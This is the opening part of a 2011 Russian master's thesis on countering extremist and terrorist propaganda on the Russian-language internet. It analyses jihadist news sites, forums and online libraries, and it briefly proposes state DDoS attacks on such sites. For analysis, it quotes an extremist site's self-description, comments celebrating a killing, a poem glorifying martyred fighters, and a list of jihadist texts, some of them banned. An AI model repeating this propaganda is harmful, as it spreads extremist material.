Функционально возможные инструментальные средства противодействия распространению идей экстремизма и терроризма в сети Интернет на территории РФ

МИНОБРНАУКИ РФ Федеральное государственное автономное учреждение высшего профессионального образования «ЮЖНЫЙ ФЕДЕРАЛЬНЫЙ УНИВЕРСИТЕТ» Экономический факультет Магистерская программа «Федеральный, региональный и локальный уровни управления антитеррористической деятельностью» Допустить к защите: Руководитель программы Алёшин В.А. подпись, инициалы, фамилия число месяц год

МАГИСТЕРСКАЯ ДИССЕРТАЦИЯ на тему: «Функционально возможные инструментальные средства противодействия распространению идей экстремизма и терроризма в сети Интернет на территории РФ» Магистранта заочного отделения: Направления 080500 «Менеджмент» (подпись) С.В. Королев Научный руководитель: к.э.н доцент (подпись) Е.Ф. Щипанов

Рецензент: д.э.н профессор (подпись) Л.Г. Матвеева Нормоконтролер: к.э.н доцент (подпись) Т.С. Ласкова Ростов – на – Дону, 2011 СОДЕРЖАНИЕ стр. ВВЕДЕНИЕ 1. ГЛОБАЛЬНАЯ СЕТЬ ИНТЕРНЕТ КАК ИНФОРМАЦИОННАЯ ПЛАТФОРМА ПРОДВИЖЕНИЯ ИДЕОЛОГИИ ЭКСТРЕМИЗМА И ТЕРРОРИЗМА 11 1.1.

Основные способы распространения радикальных идей в сети Интернет 1.2 Анализ содержания наиболее посещаемых сайтов, пропагандирующих идеи экстремизма и терроризма в российском киберпространстве 2. ОСТИ В СЕТИ

ИНТЕРНЕТ 1. Методы информационного противодействия идеологии экстремизма и терроризма в сети Интернет 2. Технические средства противодействия распространению идей экстремизма и терроризма в русскоязычном сегменте сети Интернет 3. НАПРАВЛЕНИЯ СОВЕРШЕНСТВОВАНИЯ ПРАВОВОГО РЕГУЛИРОВАНИЯ ДОСТУПА К СЕТИ ИНТЕРНЕТ НА ТЕРРИТОРИИ РФ 1. Обзор существующего законодательства, регулирующего режим пользования

информационными ресурсами в сети Интернет 2. Мировой опыт в сфере противодействия распространения идей экстремизма и терроризма в сети Интернет 3.3 Анализ функциональной действенности существующих правовых актов, регламентирующих использование информационных ресурсов сети Интернет 89 ЗАКЛЮЧЕНИЕ 97 СПИСОК ИСПОЛЬЗОВАННЫХ ИСТОЧНИКОВ 100 Приложения 108 ВВЕДЕНИЕ Актуальность темы исследования.

В современном обществе глобальная сеть Интернет и инфокоммуникационные технологии стали ключевыми факторами развития отдельных государств и формирования единого информационного пространства. Широкое распространение новых технологий, наряду с положительными аспектами (возможность поиска и передачи различной информации (электронные библиотеки, информационные БД, НПА и т.д.), новые коммуникационные возможности (E-mail,

ICQ, Skype и т.д.), оказывает негативное воздействие на различные социально-экономические и политические процессы. Прежде всего, это проблемы обеспечения информационной безо¬пасности, возможности попадания в сеть информации закрытого характера (как коммерческой, так и государственной). Так, ярким примером последних лет является скандально известный сайт «WikiLeaks» (http://wikileaks.org). Кроме того, формируется принципиально новая форма противостояния различных государств или организаций,

появляются и развиваются технологии информационных войн. Ярким примером такой информационной войны являются события августа 2008 года (Вооружённый конфликт в Южной Осетии). Большинство западных СМИ пытались представить Грузию жертвой, а Россию агрессором. Увеличивается количество преступлений в киберпространсте по распространению порнографии, мошенничеству и т.д. Естественно, что постоянно увеличивающаяся аудитория сети

Интернет не осталась без внимания со стороны приверженцев идей радикального толка. Количество сайтов, содержащих материалы экстремистского характера, призывающих к действиям незаконного характера, в том числе и террористическим, становится все больше и больше. Все обозначенные проблемы в последние годы лишь усугубляются. При этом конкретных решений по обеспечению национальной безопасности в сети

Интернет практически не было, либо они срыты от обычного пользователя под грифом «С». И лишь в 2011 году наметились положительные тенденции в данном направлении. Наличие постоянных дискуссий о статусе Интернет и слабая исследованность русскоязычного сегмента сети определяет актуальность данного исследования. Необходимо отметить, что актуальность данного вопроса характерна и для различных уровней государственного управления в

России. Так, в феврале 2011 года вице-премьер Правительства РФ С. Иванов в интервью РИА «Новости» сказал: «Интернет - один из главных инструментов при подготовке к терактам. Сеть также помогает в планировании и подготовке других противоправных деяний криминальных и антиобщественных групп. В связи с этим значение систем безопасности увеличилось. Новые риски нужно проанализировать и классифицировать, а с ними и потребности в противодействии».

Также, вице-премьер предложил модернизировать стандарты обеспечения системами безопасности объектов инфраструктуры и потенциально опасных производств и выразил уверенность, что создание и внедрение новых средств систем безопасности, обеспечивающих в итоге спокойствие страны и ее граждан, должно стать одной из первоочередных задач научно-производственных коллективов и одним из приоритетов господдержки. Говоря об Интернете, Иванов обратил внимание и на другую его сторону: «благодаря ему снижаются затраты

на развертывание систем безопасности, повышается их скорость действия и реагирования на различные инциденты» . Следует отметить, что Управление делами Президента РФ в начале 2011 года разместило на сайте госзаказа информацию об открытом конкурсе на право выполнения в 2011 году научно-исследовательских работ для Аппарата Правительства Российской Федерации - «Зарубежный опыт регулирования ответственности участников правоотношений

при использовании сети Интернет». В техническом задании указаны страны, опыт которых представляет интерес с точки зрения формирования нормативно-правовой базы регулирования сети интернет в России - США, Великобритания, Франция, Германия, Китай, Канада, Казахстан, Белоруссия. Степень научной разработанности темы. Изучение научной и прикладной литературы показало, что исследование вопросов, связанных с безопасностью

и угрозами в сети Интернет имеет фрагментарный характер. Так, большее внимание в публикациях уделяется анализу процессов обеспечения безопасности информации и защиты интеллектуальной собственности. Научный интерес при исследовании информационной безопасности представляют работы, в которых рассматриваются концептуальные и методологические основы защиты информации. В первую очередь, к ним следует отнести труды А.А.

Малюк, В.А. Герасименко, В.Л. Цирлов и др. Практические аспекты защиты информации исследованы в работах таких авторов. Как Д.Г. Колесников, В.И. Ярочкин, А.Ю. Щеглов и др. Вопросы интеллектуальной собственности очень широко рассмотрены в работах А.Г. Серго и ряда других авторов. Однако практически не исследованными остаются вопросы обеспечения безопасности в сети Интернет целом. По сути, книга

Бекки Уорли является единственным исследованием обеспечения безопасности в сети Интернет. Научных трудов, непосредственно связанных с комплексным изучением проблем распространения идей экстремисткой и террористической направленности в сети Интернет, используемых методов и приемов в настоящее время не существует. Так, существуют определенные исследования публицистического характера, а также изучение и анализ содержания

того или иного сайта или к анализу определенного события. Актуальность проблем, связанных с обеспечением национальной безопасности государства в сети Интернет наряду с отсутствием комплексных исследований технологий и инструментов регулирования информационных взаимоотношений в глобальной сети определят постановку цели и задач диссертационной работы. Цель и задачи исследования. Цель магистерской диссертации состоит в том, чтобы на основе теоретического

анализа проблем распространения идей экстремистской и террористической направленности, а также оценки русскоязычного сегмента Интернет, разработать инструменты и технологии противодействия распространению идей экстремизма и терроризма в глобальной сети на территории РФ. Для достижения поставленной цели необходимо решение следующих задач:  провести исследование основных способы распространения радикальных идей в сети

Интернет;  проанализировать содержание наиболее посещаемых сайтов, пропагандирующих идеи экстремизма и терроризма;  предложить направления развития методов информационного противодействия идеологии экстремизма и терроризма в сети Интернет;  предложить направления совершенствования технических средств противодействия распространению идей экстремизма и терроризма в русскоязычном сегменте сети Интернет;  исследовать существующее законодательство, регулирующего режим пользования

информационными ресурсами в сети Интернет;  изучить опыт западных стран в сфере противодействия распространения идей экстремизма и терроризма в сети Интернет;  предложить направления развития существующих правовых актов, регламентирующих использование информационных ресурсов сети Интернет. Объект и предмет исследования. Объектом диссертационной работы являются интернет-ресурсы русскоязычного

сегмента глобальной информационной сети Интернет, направленные на распространение идей экстремизма и терроризма на территории РФ. Предметом исследования выступают условия, инструменты и технологии противодействия распространению идей экстремизма и терроризма в сети Интернет на территории РФ. Теоретико-методологической основой исследования послужили концептуальные положения, выводы и гипотезы, представленные в различных публицистических материалах отечественных и

зарубежных авторов, по проблемам безопасности в Интернет. Для достижения цели исследования в диссертации использованы методы ретроспективного, прогностического, институционального, структурно-функционального анализов; контент-анализ. Эмпирическая база исследования формировалась на основе официальных данных федеральных и региональных органов государственной власти РФ, аналитических материалов исследовательских компаний и институтов,

официальных Интернет-сайтов отдельных организаций, а также материалов, представленных в глобальной сети Интернет и традиционных средствах массовой информации. В подготовке магистерской работы также были использованы федеральные законы, указы Президента РФ и другие нормативно-правовые акты. Основные положения, выносимые на защиту 1. Развитие и широкое применение информационно-коммуникационных технологий является глобальной тенденцией

мирового экономического развития последних десятилетий. Активное вовлечение различных пользователей и организаций в новую социально-экономическую среду глобального информационного пространства требует разработки адекватных современным тенденциям развития инфокоммуникаций механизмов, инструментов и технологий обеспечения национальной безопасности, в том числе в сфере противодействия распространению идей экстремизма и терроризма. 2. Существующие технологии распространения информации

экстремистской и террористической направленности в киберпространсте (создание информационно-ориентированного Интернет-ресурса; создание интерактивного Интернет-ресурса (форум, чат); комбинированный способ) требуют формирования определенной системы последовательных и скоординированных действий со стороны органов государственной власти РФ по противодействию распространения обозначенных угроз. Разработанные в диссертационном исследовании технологии позволяют сформировать максимально широкое

пространство потенциальных к реализации мероприятий, направленных на повышение эффективности мер национальной безопасности в глобальном информационном пространстве. 3. В русскоязычном сегменте глобальной сети интернет существует множество web-ресурсов, пропагандирующих развитие идей экстремизма и терроризма и представляющих угрозу национальной безопасности, спроектированных с учетом современных тенденций развития технологической базы и информационно-коммуникационного воздействия

на потенциальную аудиторию. В то же время, сформированное государственное информационное пространство не позволяет обеспечить адекватное противодействие распространению информации экстремистской и террористической направленности. Предложенные и апробированные технические решения и организационные мероприятия позволят обеспечить сокращение угроз распространения идей экстремизма и терроризма в сети Интернет на территории РФ. Научная новизна диссертационного исследования состоит в разработке инструментов

и технологий противодействия распространению идей экстремизма и терроризма в глобальной сети на территории РФ и определяется следующими элементами реального приращения новационного знания: 1. Обоснована необходимость формирования скоординированной и последовательной политики обеспечения информационной безопасности РФ в русскоязычном сегменте киберпространства. 2. Предложены направления развития инструментов информационного противодействия распространения идей

экстремизма и терроризма, а именно - создание и популяризация сайтов с определенным информационным контентом, интерактивные действия (чаты, форумы, комментарии к статьям, информационные блоги), создание горячих линий (добровольное сотрудничество пользователей). Это позволит активизировать проводимые мероприятия по обеспечению национальной безопасности страны и обеспечить эффективное противодействие распространению идей экстремизма и терроризма на территории

РФ. 3. Предложен инструментарий технико-технологического противодействия распространения идей экстремизма и терроризма, в том числе - ограничение доступа к определенным Интернет-ресурсам, нормализация работы поисковых систем, DDos-атаки, контроль и устранение не зарегистрированных точек подключения «Теневой Интернет». Теоретическая и практическая значимость исследования определяется актуальностью поставленных

задач и достигнутым уровнем разработанности проблематики и состоит в разработке инструментария противодействия распространению идей экстремизма и терроризма в сети интернет. Материалы исследования и его практические выводы могут использоваться руководителями и специалистами органов государственной службы разных уровней и органов местного самоуправления при разработке концепции и технологий обеспечения национальной безопасности в русскоязычном сегменте глобальной информационной

сети. Положения диссертационного исследования могут быть использованы в преподавании дисциплин «Управление информационными ресурсами», «Информационное общество», «Информационная безопасность» по направлению «Менеджмент» Структура магистерской диссертации отражает логику, порядок исследования и решение поставленных задач. Работа состоит из введения, трех глав, включающих семь параграфов, заключения, списка использованной литературы, насчитывающего 107 наименований, и приложений.

В диссертации 15 рисунков, 12 таблиц. Общий объем диссертационного исследования составляет 108 страниц. 1. ГЛОБАЛЬНАЯ СЕТЬ ИНТЕРНЕТ КАК ИНФОРМАЦИОННАЯ ПЛАТФОРМА ПРОДВИЖЕНИЯ ИДЕОЛОГИИ ЭКСТРЕМИЗМА И ТЕРРОРИЗМА 1.1. Основные способы распространения радикальных идей в сети Интернет Развитие современного общества во многом определяется процессами, осуществляемыми в информационном

пространстве глобальной сети интернет, которое является не только действенным инструментов поддержки принятия различных управленческих решений, но и специфической социальной средой, оказывающей существенное влияние на процессы трансформации поведения отдельных индивидуумов и общества в целом. В современной научной литературе не существует единого подхода к пониманию сущности категории «сеть Интернет». На наш взгляд, наиболее точными являются следующие два определения:

1. Интернет (Internet) — всемирная система объединённых компьютерных сетей, построенная на использовании протокола IP и маршрутизации пакетов данных. Интернет образует глобальное информационное пространство, служит физической основой для Всемирной паутины (WWW, World Wide Web) и множества других систем (протоколов) передачи данных. Часто упоминается как «Всемирная сеть» и «Глобальная сеть», в обиходе иногда употребляют «Инет» .

2. Интернет - всемирная система компьютеров, локальных сетей, серверов, добровольно объединенных между собой в одну распределенную по планете сеть, служащую для обмена информацией . Второе определение, можно было не приводить, если бы оно не содержало одного из главных принципов – «добровольно объединенных». То есть, подключение технических устройств (серверов, персональных компьютеров), а также осуществление социальной и хозяйственной активности в сети

Интернет является добровольным. Если же рассмотреть более детально первое определение, то нам станет ясно, что Интернет – это намного больше, чем WWW. Для большинства пользователей Интернет ассоциируется только с Интернет-сайтами, которые они открывают своими браузерами. Множество протоколов передачи данных (далее - ПД), о которых рядовой пользователь возможно даже и не слышал, могут параллельно с WWW передавать различные данные.

Следует отметить, что существующее web-пространство, наряду с положительным влиянием на различные сферы социально-экономической жизни, представляет определенные угрозы для обеспечения безопасности отдельных государств. Так, инструментарий проектирования интернет-ресурсов является доступным для международных и локальных террористических и экстремистских организаций. С точки зрения распространения идей экстремисткой и террористической направленности в сети

Интернет можно выделить следующие способы: 1. Создание информационно-ориентированного Интернет-ресурса (сайта с определенным контентом); 2. Создание интерактивного Интернет-ресурса (форум, чат); 3. Комбинированный (содержащий оба ресурса). Создание сайта (или интернет-портала) на сегодняшний момент не является сложным и дорогостоящим процессом. Наличие специальных программ - «генераторов сайтов» делает

возможным создание сайта за весьма короткое время, естественно, если предварительно подобраны необходимые материалы. Все сайты, распространяющие идеи экстремисткой и террористической направленности, безусловно, можно назвать информационными ресурсами. Построение и функционирование таких сайтов может быть реализовано различными способами. Данные сайты могут содержать новостную ленту, публицистические статьи, электронные библиотеки печатных изданий и т.д. Как правило, такие интернет-порталы позиционируют себя в качестве

«Независимых информационных агентств» (далее НИА) или официальных сайтов вилайетов (провинций) Имарата Кавказ и т.д. Что касается первых, позиционирующих себя как НИА, то, как правило, они стеснены определенными рамками. Как правило, такие сайты не содержат материалов, литературы, явно относящейся с экстремисткой или террористической. В задачи таких сайтов входит создание негативного имиджа противника (врага).

Наиболее ярким представителем, хотя на сегодняшний момент еще довольно мало известным, или, во всяком случае, слабо посещаемым, является сайт «Новости Исламской Уммы» . Этот сайт сделан по всем канонам НИА, и является таковым по содержанию. И лишь форма подачи информации, терминология, используемая в материалах, говорит о целях и задачах данного интернет-ресурса. Очень примечательной является страница сайта в разделе «О нас» (таблица 1).

На основе представленной информации можно сделать следующие выводы:  Сайт создан студентами, проходящими обучение за рубежом;  Сайт имеет «зеркала» (т.е. копия сайта размещена на разных серверах)  Сайт сотрудничает с различными авторами, в том числе и с авторами, открыто призывающих к джихаду;  Сайт является антироссийским: «одной из основных задач агентства остаётся объективное освещение

событий в Имарате Кавказ, России и мире в целом». В Российской Федерации, нет такого административного деления. Признания такой административной единицы со стороны авторов сайту уже является проявлением, направленным против РФ;  Сайт открыт для сотрудничества, как и любое НИА  Авторам сайта не чуждо авторское право. 

Авторы сайта полностью берут на себя ответственность за публикуемые материалы (хотя себя не афишируют);  Сайт при поддержке анонимных спонсоров. Таблица 1 – Web-страница «О нас» сайта «Новости Исламской Уммы» Хвала Аллаху, Господу миров! Мир и благословение посланнику Аллаха, его семье, сподвижникам и всем, кто следовал этому пути до

Судного Дня! Уважаемый читатель, инициативная группа исламских студентов за рубежом приветствует Вас на сайте, который влился в информационные потоки интернета, в статусе международного исламского портала, действующего по адресу «www.UmmaNews.com». Для удобства можете использовать зеркало сайта, которое находится по адресу «www.IslamUmma.net». Мы надеемся, что на нашем сайте читатель отыщет для себя ответы на вечные и актуальные

вопросы, поставленные перед нами жизненной рутиной в свете Священного Корана. На нашем сайте, читатель имеет возможность задать интересующие его вопросы маститым исламским учёным высокого ранга, в частности Шейху Абу Басыру ат-Тартуси, Шейху Ясиру Бурхами, Шейху Хасану Абу аль-Ашбалю и другим, с которыми у редакции сайта установлена прямая связь.

Таким образом, наш коллектив заранее заручился партнёрством со специалистами в области Исламского фикха (законодательства) с тем, чтобы наши посетители стали доверять «UmmaNews», как надёжному источнику объективной информации. Помимо информирования, просвещения и призыва к пробуждению мусульман одной из основных задач агентства остаётся объективное освещение событий в Имарате Кавказ, России и мире в целом. Приглашая к сотрудничеству писателей и журналистов, вместе с

тем приглашаем посетить наш сайт «IslamUmma.com», ориентированный на переводы трудов исламских учёных и углублённое изучение вопросов фикха, исламской акыды и других шариатских наук. Администрация сайта предупреждает, что вся информация, опубликованная на сайте «UmmaNews.com», является собственностью сайта и его авторов. При полном или частичном копировании материалов ссылка на сайт «UmmaNews.com» обязательна. Материалы, опубликованные на сайте, всегда совпадают с мнением редакции.

Хотим выразить огромную благодарность всем, кто участвовал в открытии и поддержке сайта. Также хотим выразить отдельную благодарность спонсорам данного проекта, которые предпочли остаться анонимными. То есть, по большому счету, сайт не отличается от обычного информационного агентства. В дополнение к подобным информагентствам существуют сайты, позиционирующие себя в качестве официальных сайтов вилайетов (Официальный сайт Вилайята Дагестан ) или джамаата (Информационное

Агентство Tawba.info, Джамаат "Булгар" ). Помимо новостных лент и аналитических статей на таких сайтах, как правило, представлены электронные библиотеки, содержащие экстремистскую литературу, различные аудио- и видеоматериалы, а также конкретные обучающие материалы по тактике ведения боевых и разведывательных действий. Большинство сайтов нацелено не на конкретную национальную группу, а на все российское общество, причем

не только исповедующее Ислам. Итак, большинство таких сайтов содержат так называемую новостную ленту. По сути это наиболее трудоемкая составляющая сайта, требующая постоянного участия администрации сайта. В зависимости от «состоятельности» или заинтересованности участников проекта, период обновляемости новостной ленты может быть разным: ежедневным, периодическим, от случая к случаю. Так, сайт «Новости Исламской Уммы» публикует в день несколько десятков новостных материалов, сайт

Вилайята Дагестан публикует новости с произвольной периодичностью, но без длительных перерывов. Сайт джамаата «Булгар» с октября 2010 года прекратил публикацию новостей, однако контент в целом сохранился и остается доступным. По своему содержанию одни и те же новости зачастую тиражируются на разных сайтах. На многих сайтах организован сервис подписки на новости, то есть новостные события автоматически отправляются на почтовые ящики пользователей, что, в свою очередь, дает возможность администрации сайта собирать

дополнительную информацию о своих посетителях. На многих сайтах добавлена функция обсуждения новостей. Приведу пример одного из таких обсуждений, в связи с убийством начальника управления информационной политики и пресс-службы президента Дагестана Г. Курбанова: Абу Дуджана: Еще одну тварь подкинули. Нет мощи и силы ни у кого кроме Аллаха! Абду-Ллах: АЛЛАХУ АКБАР муслим Огняхский: Аллаху

Акбар Хучбар: Аллаhу Акбар ihvan: Allahu Akbar pobeda ili ray sleduyushiy rizvan kurbanov ty inshaAllah … и тд. Причем для публикации своего комментария также необходимо указать свой почтовый ящик, то есть еще одна возможность для сбора информации о посетителях сайта (что в случае если пользователем пользуется этим адресом постоянно, может дать возможность для его идентификации). Электронные библиотеки, представленные на сайтах могут содержать различную информацию, как текстовую,

так и аудио- и видеоинформацию. Следует отметить, что в последнее время получили свое распространение видео материалы, которые естественно являются более наглядными, следовательно, имеют и большую степень воздействия на пользователей. Причем профессиональное качество таких видеороликов становится все выше. С экрана доносятся не только обращения «бородатых мужиков», зачастую пользователь видит прекрасную графику, с хорошими спецэффектами, с качественным звуковым и музыкальным сопровождением.

Рисунок 1. Заставка к видео обращениям (сайт «Новости Исламской Уммы») Причем данные видеоматериалы могут храниться как на самом сервере, так и на бесплатных серверах видео, таких как видеохостинг Ютуб . Например, по запросу «Джихад» данный ресурс выдает более 3700 видеороликов, большинство из которых пропагандируют военный джихад, и лишь небольшая часть разъясняет, что джихад это не только война с кафирами. Некоторые из видеороликов представлены на

СD (Приложение 1). Также сайты изобилуют различными аудио обращениями: речи отдельных лидеров экстремистов, различные лекции, разъяснения норм шариата и т.д. Хотя анализ скачивания подобных аудио записей с файлообменников показывает, что данный тип воздействия не является особо эффективным. За исключением песен, таких как, например песня «Священный джихад» Тимура Мацураева. Данные аудио материалы действительно пользуются популярностью.

И наконец, представление текстовой информации. Так, информационное агентство «Tawba.info» в разделе «Библиотека» представляет пользователям около 50 текстовых источников различного содержания. Перечень материалов, представленных в данном разделе, отражен в таблице 2. Таблица 2. Перечень материалов, представленных в разделе «Библиотека» информационного агентства «Tawba.info» ● Убеждение (Акыйда) 1. Абд ар-Раззак бин

Абд аль-Мухсин аль-Бадр - Доказательство Единобожия - Скачать 2. Хафиз Бин Ахмад Аль-Хаками - 200 вопросов по вероучению Ислама - Скачать 3. Шейх аль-Ислам ибн Таймия - Благопочитание Аллаха - Скачать 4. Шейх аль-Ислам ибн Таймия - Акыйда аль-Васития - Скачать 5. Шейх аль-Ислам ибн Таймия - Определение

Ат-Тавасуль - Скачать 6. Абдаллах ибн Абдуррахман Аль-Джибрин - Два свидетельства - Скачать 7. Мухаммад ибн Сулейман ат-Тамими - Книга Единобожия - Word 8. Мухаммад ибн Сулейман ат-Тамими - Отведение сомнений - Скачать 9. Мухаммад ибн Сулейман ат-Тамими - Четыре правила Скачать 10.

Абу Мухаммад аль-Макдиси - Это наша Идеология - Скачать 11. Абу Мухаммад аль-Макдиси - Религия Ибрахима - Скачать 12. Абу Мухаммад аль-Макдиси - Демократия - это религия - Скачать 13. Мухаммад бин Салих аль-Усеймин - Идеальные правила - Скачать 14. Мухаммад бин Салих аль-Усеймин - Объяснение основ веры -

Скачать 15. Мухаммад бин Джамиль Зину - Исламская Акыда - Скачать 16. Мухаммад бин Джамиль Зину - Во что верит мусульманин Скачать 17. Мухаммад Насир ад-Дин Аль-Албани - Место Сунны в Исламе - Скачать 18. Мухаммад бин Шакир Аш-Шариф - Суд Аллаха - Скачать ● Джихад 1.

Харрис Абдуссалам аль-Мисри - Если они тебя спросят: «Что такое джихад - Скачать 2. Абу Джандал Аль-Азади - Разрешение на уничтожение сот - Часть-1 Часть-2 Часть-3 3. Абу Мухаммад аль-Макдиси - Раскрытие сомнительных доводов спорящих в - Скачать 4. Абу Мухаммад аль-Макдиси - Клянусь Аллахом ты в опасности -

Скачать 5. Абдулла ибн Мухаммад ар-Рашуд - Величие принадлежит Аллаху, Его послан - Скачать 6. Абу Мусъаб ас-Сури - Боевая программа - Скачать 7. Абдулла Аззам - Радостная весть о достоинстве джихада - Скачать 8. Абдулла Аззам - Присоединяйтесь к каравану - Скачать 9. Джихад против вероотступников - Скачать 10.

Шейх Анвар Авлаки - 44 способа поддержать Джихад - Скачать 11. Качества моджахеда - Скачать ● Секты и течения 1. Мамдух Ибн Али Аль-Харби - Шииты, кто же они Скачать 2. Кудаев Расул и Астемиров Анзор - Хабашиты - Скачать 3. Муса Ибн Джафар и Али Ибн Джафар - Ложь шиитов и её опровержение -

Скачать ● Разное 1. Шейх Халид Хусейнан - Более чем, 1000 сунн которые можно - Скачать 2. Абдаллах ибн Абдуррахман Аль-Джибрин - Особенности молитвы пророка - Скачать 3. Ибн Хишам - Жизнеописание посланника Аллаха - Скачать 4. Сафи ар-Рахман аль-Мубаракфури - Жизнеописание посланника

Аллаха - Скачать 5. Гыйбат (Сплетни) - Скачать 6. Ан-Надави - Что потерял мир по причине отхода мусульман от Ислама - Скачать 7. Мухаммад Салих аль-Мунаджид - Запретное, по отношению к которому - Скачать 8. Мухаммад бин Джамиль Зину - О достоинствах пророка Скачать 9. Салих ибн ‘Абдуллах ибн Хамид - Понятие мудрости в деле призыва к

Аллаху Скачать 10. Абду-р-Рахман ибн Насир Ас-Са'ди - Радость сердец благочестивых Скачать 11. АбдуЛЛах Насих Ульван - Роль молодёжи в распространении Ислама Скачать 12. Мухаммад Кутб - Светские люди и Ислам Скачать 13. Абу Малик Дыйауддин ибн Раджаб Шихабуддин - Уникальное пособие для -

Скачать 14. Имам Ан-Навави - 40 хадисов - Скачать Как видно из списка, представленного в таблице, многое из литературы внесено в федеральный список экстремистской литературы, например - произведения Абу Джандал Аль-Азади. Все подобные сайты призваны создать у посетителя определенное мировоззрение, а для этого немаловажно его духовное состояние в данный момент времени. И создатели таких сайтов прекрасно это понимают.

Прекрасно они понимают, что хорошие стихи прочитанные посетителями сайта могут подвигнуть их к дальнейшему изучению материалов. Приведем одно из стихотворений: В дали виднеются могилы. Могилы братьев дорогих. Они - муджахиды-шахиды, И мой родной брат среди них! Они стремились в эту вечность, Им тленный мир не нужен был. Они сражались с врагами.

Аллах их всех благословил. Они делились последним, Что им Всевышний предписал. Учили братьев по Исламу, Стремиться только в Вечный Рай! Они всегда не доедали, И спали на сырой земле. Лишь на Аллаха уповали, Намаз читая в тишине. Врагов громили беспощадно, "Аллаху Акбару" - говоря.

И уходили они в вечность, Шахаду в слух произнеся! Подводя промежуточный итог, можно с уверенностью сказать, что новостные ленты, электронные библиотеки и другие материалы, размещенные на этих сайтах, направлены, в первую очередь, на создание общей атмосферы неприязни к иноверцам и светскому государству. Но не менее опасна другая форма продвижения идей экстремистской и террористической направленности – создание Интернет-конференций (или вебинаров).

Форум – это инструмент для общения на сайте. Сообщения в форуме в похожи на почтовые – каждое из них имеет автора, тему и собственно содержание. Но для того, чтобы отправить («запостить») сообщение в форум, не нужна никакая дополнительная программа – нужно просто заполнить соответствующую форму на сайте . Сообщения в форуме объединены в треды. Когда кто-то отвечает в форуме на чье-то сообщение, то ответ будет "привязан" к исходному сообщению. Последовательность таких ответов, ответов на ответы

и т.д. и создает тред. В итоге форум представляет собой древовидную структуру, состоящую из тредов. То есть, фактически каждый тред форума представляет собою запись определенной беседы, диспута, спора и т.д. И зачастую в таких спорах побеждает отнюдь не лучшая из сторон. Поскольку она выходит на диспут более подготовленной, имея в своем запасе уже готовые и апробированные заготовки, противная же сторона, вступая в диспут, как правило, не имея ссылок на первоисточники и выглядит

менее убедительно. Также существует вероятность того, что весь тред может оказаться блефом, инсценировкой. Кроме того, хозяин форума (администратор, модератор) имеет возможность модерировать форум или отдельные треды форума, то есть изменять или удалять нежелательные сообщения, фразы или весь тред целиком. Может запретить (в интернет-сленге «Забанить») вход отдельным пользователям (запретить или удалить Ник или внести в черный список IP адрес пользователя).

Вместе с тем, форум это – лучшее место в сети Интернет для поиска единомышленников. По сути, форум это разговор определенного количества людей, иногда разнесенный по времени, иногда практически он-лайн. Именно здесь можно увидеть конкретные настроения человека, его мировоззрение. Хороший психолог в таком диалоге может выяснить степень внушаемость конкретного человека. Видна степень подготовки, подкованности в том или ином вопросе.

А при длительном общении пользователь может почувствовать себя другом или даже соратником организаторов форума со всеми вытекающими последствиями. Отношения с потенциальным союзником или с сомневающимся можно перенести в закрытую часть форума (личный кабинет, личные сообщения) или перевести ее в e-mail. Кроме того, большинство форумов для участия требуют пройти процедуру регистрации, в которой пользователь должен заполнить ряд граф. Пример такой анкеты вы видите на рисунке 2.

Рисунок 2. Анкета регистрации одного из форумов Заполнение такой анкеты дает в руки владельцев форума адрес электронной почты и если владелец данного адреса регистрировался в социальных сетях («Одноклассники», «В контакте», Facebook и т.д.) либо имеет персональную страничку, на которой указал свой адрес, то он смогут узнать все. Кроме того, большинство людей не обременяет себя выдумыванием паролей (используют один пароль на все случаи жизни). То и личная переписка такого пользователя сможет стать достоянием

владельцев сайта. Получателем рассылки с нужным контентом при этом можно стать наверняка. Кроме этого, необходимо акцентировать внимание на один из важных аспектов распространения идей экстремисткой и террористической направленности, а именно – физическое расположение данных сайтов (контентов), при этом хотелось выяснить, где данные сайты чувствуют себя наиболее комфортно. Проведя определенные исследования и проанализировав

IP адреса, наиболее часто встречающихся в поисковых системах сайтов данной направленности можно сформулировать вывод, что большинство из них территориально находятся в США и небольшая часть в ЕС (Приложение 2). Наличие различных технологий и инструментов позиционирования различных организаций в глобальной сети Интернет требует развития определенных подходов к стратегии и формам информационного и психологического воздействия на потенциальную аудиторию.

1.2 Анализ содержания наиболее посещаемых сайтов, пропагандирующих идеи экстремизма и терроризма в российском киберпространстве В русскоязычном сегменте глобальной сети интернет существует множество web-ресурсов, пропагандирующих развитие идей экстремизма и терроризма и представляющих угрозу национальной безопасности. С точки зрения технической и дизайнерской реализации ключевым ресурсом, и при этом имеющим довольно высокий рейтинг, является сайт «Новости Исламской

Уммы». Сайт «Новости Исламской Уммы» имеет в сети Интернет три хостовых имени: UmmaNews.ru (193. 219.5.195) – место размещения Литва; UmmaNews.com; IslamUmma.net. Сайт «Исламской Уммы» имеет в сети одно хостовое имя - IslamUmma.com (204.93.163.59) – место размещения США. По информационной составляющей IslamUmma.com является зеркалом

UmmaNews.com без новостной ленты. Раздел «Новости» IslamUmma.com отсылает пользователей на UmmaNews.com. Итак, проанализируем посещаемость сайта UmmaNews.com с помощью сайта www.alexa.com . Не у всех пользователей установлен тулбар, поэтому информация не является полностью точной и достоверной, но в целом она даёт довольно качественную оценку трафика.

Согласно статистике Alexa.com сайт UmmaNews.com имеет не очень большой рейтинг посещаемости за три месяца - 671,964 (пользуется довольно большой популярностью украинских Интернет-пользователей). Однако неуклонно улучшает свой рейтинг – за один месяц - 502,130. Процент посещаемости от общего числа пользователей составляет - за 3 месяца - 0.00021%, за 1 месяц - 0.00031%. Количество страниц, просматриваемых на сайте - за 3 месяца -

4.8, за 1 месяц - 4.5. Интересной так же является данные о пользователях, посетивших только главную страницу: так, за 3 месяца – 35.9%, за 1 месяц – 30.9%. Среднее время, проведенное пользователями на сайте, составляет: за 3 месяца – 17.89 минут, за 1 месяц – 24.4 минут. Процент пользователей Интернет, пришедших на сайт с поисковых машин, составляет - за 3 месяца – 4.8 %, за 1 месяц – 6 %. Из приведенных данных видно, что посещаемость сайта в последние месяцы

растет, количество страниц, открываемых посетителями сайта приблизительно одинаково. Скорее всего, около трети посетителей сайта попадают на него случайно (по ссылкам с других сайтов) и информация, предлагаемая на сайте, их не интересует. Количество посетителей нашедших сайт через поисковые системы, а значит, пришедших на сайт впервые не велико, однако увеличивается, и, следовательно, ссылки на сайт стали выходить в поисковых системах в

более верхних результатах. То есть, в целом сайт динамично развивается. Теперь необходимо проанализировать информационную и техническую составляющую, причем под технической составляющей будем понимать дизайнерскую проработку, а так же технические приемы, способствующие продвижению сайта и распространению соответствующей информации. При посещении сайта пользователь видит страницу, изображенную на рисунке 3.

